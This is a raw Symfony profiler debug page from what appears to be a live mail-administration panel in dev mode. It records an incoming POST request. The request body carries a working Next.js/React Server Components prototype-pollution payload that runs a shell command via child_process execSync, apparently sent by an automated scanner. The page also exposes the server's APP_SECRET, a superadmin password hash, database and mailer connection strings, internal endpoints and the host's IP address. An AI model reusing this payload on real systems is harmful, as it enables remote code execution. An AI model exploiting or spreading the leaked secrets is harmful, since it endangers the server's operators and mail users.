n/a
Request
GET Parameters
No GET parameters
POST Parameters
| Key | Value |
|---|---|
| 0 | "{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo VULN').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/login?a='+res+';307;'});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}" |
| 1 | ""$@0"" |
| 2 | "[]" |
Uploaded Files
No files were uploaded
Request Attributes
| Key | Value |
|---|---|
| _controller | "App\Controller\QUserController::index" |
| _firewall_context | "security.firewall.map.context.main" |
| _route | "qu_main" |
| _route_params | [] |
| _security_firewall_run | "_security_main" |
| _stopwatch_token | "098330" |
Request Headers
| Header | Value |
|---|---|
| accept-encoding | "gzip" |
| connection | "close" |
| content-length | "689" |
| content-type | "multipart/form-data; boundary=--WebKitFormBoundaryx8jO2oVc6SWP3Sad" |
| host | "95.217.68.83:443" |
| next-action | "1" |
| user-agent | "Go-http-client/1.1" |
| x-php-ob-level | "1" |
Request Content
Request content not available (it was retrieved as a resource).
Response
Response Headers
| Header | Value |
|---|---|
| cache-control | "no-cache, private" |
| content-type | "text/html; charset=utf-8" |
| date | "Fri, 20 Feb 2026 14:30:10 GMT" |
| location | "/webpanel/login" |
| x-debug-token | "cc83af" |
Cookies
Request Cookies
No request cookies
Response Cookies
No response cookies
Session 1
Session Metadata
No session metadata
Session Attributes
No session attributes
Session Usage
1
Usages
Stateless check enabled
| Usage |
|---|
Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage:44
[
[
"file" => "/var/qpanel/php/vendor/symfony/security-core/Authentication/Token/Storage/UsageTrackingTokenStorage.php"
"line" => 44
"function" => "getMetadataBag"
"class" => "Symfony\Component\HttpFoundation\Session\Session"
"type" => "->"
]
[
"file" => "/var/qpanel/php/vendor/scheb/2fa-bundle/Security/Http/Firewall/TwoFactorAccessListener.php"
"line" => 59
"function" => "getToken"
"class" => "Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage"
"type" => "->"
]
[
"file" => "/var/qpanel/php/vendor/symfony/security-bundle/Debug/WrappedLazyListener.php"
"line" => 49
"function" => "authenticate"
"class" => "Scheb\TwoFactorBundle\Security\Http\Firewall\TwoFactorAccessListener"
"type" => "->"
]
[
"file" => "/var/qpanel/php/vendor/symfony/security-http/Firewall/AbstractListener.php"
"line" => 26
"function" => "authenticate"
"class" => "Symfony\Bundle\SecurityBundle\Debug\WrappedLazyListener"
"type" => "->"
]
[
"file" => "/var/qpanel/php/vendor/symfony/security-bundle/Security/LazyFirewallContext.php"
"line" => 60
"function" => "__invoke"
"class" => "Symfony\Component\Security\Http\Firewall\AbstractListener"
"type" => "->"
]
[
"file" => "/var/qpanel/php/vendor/symfony/security-bundle/Debug/TraceableFirewallListener.php"
"line" => 77
"function" => "__invoke"
"class" => "Symfony\Bundle\SecurityBundle\Security\LazyFirewallContext"
"type" => "->"
]
[
"file" => "/var/qpanel/php/vendor/symfony/security-http/Firewall.php"
"line" => 92
"function" => "callListeners"
"class" => "Symfony\Bundle\SecurityBundle\Debug\TraceableFirewallListener"
"type" => "->"
]
[
"file" => "/var/qpanel/php/vendor/symfony/event-dispatcher/Debug/WrappedListener.php"
"line" => 118
"function" => "onKernelRequest"
"class" => "Symfony\Component\Security\Http\Firewall"
"type" => "->"
]
[
"file" => "/var/qpanel/php/vendor/symfony/event-dispatcher/EventDispatcher.php"
"line" => 230
"function" => "__invoke"
"class" => "Symfony\Component\EventDispatcher\Debug\WrappedListener"
"type" => "->"
]
[
"file" => "/var/qpanel/php/vendor/symfony/event-dispatcher/EventDispatcher.php"
"line" => 59
"function" => "callListeners"
"class" => "Symfony\Component\EventDispatcher\EventDispatcher"
"type" => "->"
]
[
"file" => "/var/qpanel/php/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php"
"line" => 154
"function" => "dispatch"
"class" => "Symfony\Component\EventDispatcher\EventDispatcher"
"type" => "->"
]
[
"file" => "/var/qpanel/php/vendor/symfony/http-kernel/HttpKernel.php"
"line" => 139
"function" => "dispatch"
"class" => "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher"
"type" => "->"
]
[
"file" => "/var/qpanel/php/vendor/symfony/http-kernel/HttpKernel.php"
"line" => 75
"function" => "handleRaw"
"class" => "Symfony\Component\HttpKernel\HttpKernel"
"type" => "->"
]
[
"file" => "/var/qpanel/php/vendor/symfony/http-kernel/Kernel.php"
"line" => 202
"function" => "handle"
"class" => "Symfony\Component\HttpKernel\HttpKernel"
"type" => "->"
]
[
"file" => "/var/qpanel/php/public/index.php"
"line" => 28
"function" => "handle"
"class" => "Symfony\Component\HttpKernel\Kernel"
"type" => "->"
]
]
|
Flashes
Flashes
No flash messages were created.
Server Parameters
Server Parameters
Defined in .env
| Key | Value |
|---|---|
| API_ENDPOINT | "https://127.0.0.1:7879/api/" |
| APP_2FA_ALLOWED | "false" |
| APP_ALLOWED_SERVICES_ALLOWED | "false" |
| APP_ALLOW_CLEAR_PASS | "false" |
| APP_AUTOOPT_MSGLIMIT | "1" |
| APP_AUTOOPT_NUMLINES | "1" |
| APP_AUTOOPT_SUBJECT_PREFIX | "Re:" |
| APP_AUTOOPT_TIMELIMIT | "604800" |
| APP_AUTO_DISALLOW_OWN_PREFIX | "false" |
| APP_CATCHALL_ALLOWED | "false" |
| APP_DEFAULT_DOMAIN | "auranox.net" |
| APP_DEFAULT_MAX_EXTERNAL_FORWARDS | "2" |
| APP_DEFAULT_MAX_FORWARDS | "10" |
| APP_DEFAULT_PASS_COMPLEXITY | "4" |
| APP_DEFAULT_PER_PAGE | "10" |
| APP_DEFAULT_QUOTA | "100" |
| APP_DOMAIN_SPAM_ALLOWED | "false" |
| APP_ENV | "dev" |
| APP_FILTERS_HISTORY_ALLOWED | "false" |
| APP_GLOBAL_ALIAS_ALLOWED | "false" |
| APP_INSIDE_LANGUAGE_SHOW | "false" |
| APP_LOGIN_LANGUAGE_SHOW | "false" |
| APP_LOGIN_TARGET_MSG | "false" |
| APP_NEW_ACCOUNTS_LIMIT | "100" |
| APP_NEW_ALIASES_LIMIT | "10" |
| APP_QU_AUTORESPONDER_ALLOWED | "true" |
| APP_QU_FORWARDING_ALLOWED | "true" |
| APP_QU_IMAP_ALLOWED | "true" |
| APP_QU_LOGIN_HISTORY_ALLOWED | "true" |
| APP_QU_NOTICE_SMS_ALLOWED | "true" |
| APP_QU_OPERATION_HISTORY_ALLOWED | "true" |
| APP_QU_PASSWORD_ALLOWED | "true" |
| APP_QU_PROCMAIL_ALLOWED | "true" |
| APP_QU_SA_ALLOWED | "true" |
| APP_QU_SETTINGS_ALLOWED | "true" |
| APP_SECRET | "468f7a59d42b3feed4de19127b9228ba" |
| APP_SYSTEM_ALIASES | "[dns, admin, dmarc]" |
| AVAILABLE_LANGUAGES | "[pl]" |
| AVAILABLE_SKINS | "[raw]" |
| DATABASE_URL | "mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7" |
| DEFAULT_SKIN | "raw" |
| DONT_FORCE_LANG_ROUNDCUBE | "true" |
| MAILER_DSN | "smtp://user:pass@smtp.example.com:25" |
| MAILER_FROM | "admin@auranox.net" |
| MAILER_RETURN_PATH | "admin@auranox.net" |
| MAILER_URL | "sendmail://localhost" |
| MONGO_COLLECTION | "logs" |
| MONGO_DB | "qmailux" |
| MONGO_SERVER | "mongodb://localhost:27017/?serverSelectionTimeoutMS=3000" |
| QMAILUX_SERVER_ENDPOINT | "http://test10.qmailux.pl:7880" |
| ROUNDCUBE_INTERNAL_URL | "https://local_internal/roundcube/" |
| ROUNDCUBE_URL | "https://mail.auranox.net:443/roundcube/" |
| SUPERADMIN_HASH | "$2y$10$.zpmm8xyQBgzIMPCfszMZOiIA968ULP/wk9yfKilGqrOtY3/hqsQu" |
Defined as regular env variables
| Key | Value |
|---|---|
| APP_DEBUG | "1" |
| BASE | "/webpanel" |
| CONTENT_LENGTH | "689" |
| CONTENT_TYPE | "multipart/form-data; boundary=--WebKitFormBoundaryx8jO2oVc6SWP3Sad" |
| CONTEXT_DOCUMENT_ROOT | "/var/www/qmailux" |
| CONTEXT_PREFIX | "" |
| DOCUMENT_ROOT | "/var/www/qmailux" |
| FCGI_ROLE | "RESPONDER" |
| GATEWAY_INTERFACE | "CGI/1.1" |
| HOME | "/var/www" |
| HTTPS | "on" |
| HTTP_ACCEPT_ENCODING | "gzip" |
| HTTP_CONNECTION | "close" |
| HTTP_HOST | "95.217.68.83:443" |
| HTTP_NEXT_ACTION | "1" |
| HTTP_USER_AGENT | "Go-http-client/1.1" |
| PATH | "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" |
| PHP_SELF | "/webpanel/index.php" |
| QUERY_STRING | "" |
| REDIRECT_BASE | "/webpanel" |
| REDIRECT_HTTPS | "on" |
| REDIRECT_SCRIPT_URI | "https://95.217.68.83/webpanel/panel" |
| REDIRECT_SCRIPT_URL | "/webpanel/panel" |
| REDIRECT_STATUS | "200" |
| REDIRECT_URL | "/webpanel/panel" |
| REMOTE_ADDR | "64.89.161.198" |
| REMOTE_PORT | "34568" |
| REQUEST_METHOD | "POST" |
| REQUEST_SCHEME | "https" |
| REQUEST_TIME | 1771597810 |
| REQUEST_TIME_FLOAT | 1771597810.5358 |
| REQUEST_URI | "/webpanel/panel" |
| SCRIPT_FILENAME | "/var/www/qmailux/webpanel/index.php" |
| SCRIPT_NAME | "/webpanel/index.php" |
| SCRIPT_URI | "https://95.217.68.83/webpanel/panel" |
| SCRIPT_URL | "/webpanel/panel" |
| SERVER_ADDR | "95.217.68.83" |
| SERVER_ADMIN | "postmaster@auranox.pl" |
| SERVER_NAME | "95.217.68.83" |
| SERVER_PORT | "443" |
| SERVER_PROTOCOL | "HTTP/1.1" |
| SERVER_SIGNATURE | "<address>Apache/2.4.65 (Debian) Server at 95.217.68.83 Port 443</address>\n" |
| SERVER_SOFTWARE | "Apache/2.4.65 (Debian)" |
| SYMFONY_DOTENV_VARS | "APP_ENV,APP_SECRET,MAILER_URL,DATABASE_URL,SUPERADMIN_HASH,API_ENDPOINT,ROUNDCUBE_URL,ROUNDCUBE_INTERNAL_URL,APP_DEFAULT_DOMAIN,APP_NEW_ACCOUNTS_LIMIT,APP_ALLOW_CLEAR_PASS,AVAILABLE_SKINS,DEFAULT_SKIN,AVAILABLE_LANGUAGES,MONGO_SERVER,MONGO_DB,MONGO_COLLECTION,MAILER_RETURN_PATH,MAILER_FROM,APP_GLOBAL_ALIAS_ALLOWED,APP_DOMAIN_SPAM_ALLOWED,APP_ALLOWED_SERVICES_ALLOWED,APP_FILTERS_HISTORY_ALLOWED,APP_CATCHALL_ALLOWED,APP_LOGIN_TARGET_MSG,APP_NEW_ALIASES_LIMIT,APP_DEFAULT_MAX_FORWARDS,APP_DEFAULT_MAX_EXTERNAL_FORWARDS,APP_DEFAULT_PER_PAGE,APP_DEFAULT_QUOTA,APP_AUTOOPT_TIMELIMIT,APP_AUTOOPT_MSGLIMIT,APP_AUTOOPT_NUMLINES,APP_AUTOOPT_SUBJECT_PREFIX,APP_AUTO_DISALLOW_OWN_PREFIX,APP_SYSTEM_ALIASES,APP_QU_IMAP_ALLOWED,APP_QU_AUTORESPONDER_ALLOWED,APP_QU_FORWARDING_ALLOWED,APP_QU_SA_ALLOWED,APP_QU_NOTICE_SMS_ALLOWED,APP_QU_PASSWORD_ALLOWED,APP_QU_PROCMAIL_ALLOWED,APP_QU_SETTINGS_ALLOWED,APP_QU_OPERATION_HISTORY_ALLOWED,APP_QU_LOGIN_HISTORY_ALLOWED,APP_LOGIN_LANGUAGE_SHOW,APP_INSIDE_LANGUAGE_SHOW,DONT_FORCE_LANG_ROUNDCUBE,QMAILUX_SERVER_ENDPOINT,MAILER_DSN,APP_2FA_ALLOWED,APP_DEFAULT_PASS_COMPLEXITY" |
| USER | "www-data" |
| proxy-nokeepalive | "1" |